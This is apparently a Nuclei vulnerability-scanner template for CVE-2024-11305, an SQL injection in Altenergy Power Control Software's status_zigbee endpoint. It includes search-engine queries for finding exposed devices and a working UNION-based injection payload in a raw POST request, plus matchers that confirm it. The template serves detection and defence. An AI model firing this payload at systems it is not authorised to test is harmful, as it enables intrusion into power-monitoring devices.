id: CVE-2024-11305

info:
  name: Altenergy Power Control Software - SQL Injection
  author: s4e-io
  severity: medium
  description: |
    A vulnerability classified as critical was found in Altenergy Power Control Software up to 20241108. This vulnerability affects the function get_status_zigbee of the file /index.php/display/status_zigbee. The manipulation of the argument date leads to sql injection. The attack can be initiated remotely.
  impact: |
    Authenticated attackers can execute SQL injection through the date parameter in the status_zigbee function to extract sensitive power system data including energy metrics and device configurations.
  remediation: |
    Validate and sanitize all user inputs before processing them in SQL queries. Use parameterized queries or prepared statements to prevent SQL injection attacks.
  reference:
    - https://blog.csdn.net/ZeroDay001/article/details/143878599
    - https://cn-sec.com/archives/3447233.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11305
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2024-11305
    cwe-id: CWE-74
    epss-score: 0.03695
    epss-percentile: 0.88607
  metadata:
    max-request: 1
    vendor: apsystems
    product: energy_communication_unit_firmware
    shodan-query: http.title:"altenergy power control software"
    fofa-query: title="altenergy power control software"
    google-query: intitle:"altenergy power control software"
  tags: cve,cve2024,altenergy,iot,sqli,vkev,vuln

http:
  - raw:
      - |
        POST /index.php/display/status_zigbee HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        date=2024-11-06%' UNION ALL SELECT 11,CHAR(113)||CHAR(75,101,86,69,115,83,113,89,100,122,121,102,83,83,113,86,84,112,100,103,69,75,80,117,88,109,83,105,89,116,110,120,76,84,73,109,115,100,83,107)||CHAR(113,118,98,98,113),11-- wPIB

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Status(ZigBee)", "qKeVEsSqYdzyfSSqVTpdgEKPuXmSiYtnxLTImsdSkqvbbq")'
          - 'contains(content_type, "text/html")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100f1439ba9aef7d271a7a1a50805837a78083892d674f91e65aad6b7c8fe02f603022071ed63bac1adb2d4d8215b15f4380527ea14aa731652c643e00255d49631d09e:922c64590222798bb761d5b6d8e72950